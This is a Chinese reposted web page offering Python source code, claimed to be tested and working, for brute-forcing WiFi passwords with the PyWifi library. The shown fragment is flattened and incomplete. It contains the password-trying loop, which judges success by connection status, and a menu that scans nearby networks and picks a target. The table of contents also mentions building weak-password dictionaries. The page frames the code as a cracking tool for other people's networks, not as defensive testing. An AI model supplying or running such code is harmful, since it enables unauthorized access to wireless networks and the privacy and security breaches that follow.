Python破解WIFI密码完整源代码,实测可成功破解
发布时间:2023-02-16 14:22:52 所属栏目:Python 来源:互联网
导读:目录 # 修正记录:2022-12-01 1,先安装Python环境(这个不用多说了吧) 2,安装PyWifi 3,自己手工整理高频弱口令,不建议程序生成的字典,生成的字典成功率实在太低。 4,自己生成字典的算法: 5,破解WIF代码第一种(2022-12-01): 6,破解WIF代码第二种:
# 开始尝试连接 interface.connect(tmp_profile) #start_time = time.time() time.sleep(1.5) #while time.time() - start_time < 1.5: # 接口状态为4代表连接成功(当尝试时间大于1.5秒之后则为错误密码,经测试测正确密码一般都在1.5秒内连接,若要提高准确性可以设置为2s或以上,相应暴力破解速度就会变慢) if interface.status() == const.IFACE_CONNECTED: print(f'r连接成功!密码为:{pwd}') m,s = divmod((end - start).seconds,60) h,m = divmod(m,60) print(f"本次破解WIFI密码共用时:{h}时{m}分{s}秒") exit(0) else: print(f'r[{iCount}]正在利用密码 {pwd} 尝试...') end = datetime.datetime.Now() iCount= iCount+1 # 主函数 def main(): # 退出标致 exit_flag = 0 # 目标编号 target_num = -1 while not exit_flag: try: print('WIFI破解'.center(35,'-')) # 调用扫描模块,返回一个排序后的wifi列表 wifi_list = wifi_scan() # 让用户选择要破解的wifi编号,并对用户输入的编号进行判断和异常处理 choose_exit_flag = 0 while not choose_exit_flag: try: target_num = int(input('请选择你要尝试破解的wifi:')) # 如果要选择的wifi编号在列表内,继续二次判断,否则重新输入 if target_num in range(len(wifi_list)): # 二次确认 while not choose_exit_flag: try: choose = str(input(f'你选择要破解的WiFi名称是:{wifi_list[target_num][1]},确定吗?(Y/N)')) # 对用户输入进行小写处理,并判断 if choose.lower() == 'y': choose_exit_flag = 1 elif choose.lower() == 'n': break # 处理用户其它字母输入 else: print('只能输入 Y/N') # 处理用户非字母输入 except ValueError: print('只能输入 Y/N') # 退出破解 if choose_exit_flag == 1: break else: print('请重新输入') except ValueError: print('只能输入数字') # 密码破解,传入用户选择的wifi名称 (编辑:十堰站长网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |
推荐文章
站长推荐
- python – sqlalchemy将mixin列移动到最后
- python – Django – get_or_create无效
- python – SQLAlchemy过滤器查询由相关对象
- python – Numpy相当于if / else list comprehen
- python – 有效地减去不同形状的numpy数组
- flask:wsgi-middleware vs before_和after_requ
- wpf – Dispatcher与后台线程的区别?
- Django在内联表单管理中获取实例
- python – 替换numpy数组中的元素,避免循环
- python – 来自Windows的OpenCV构建错误“RC对象
热点阅读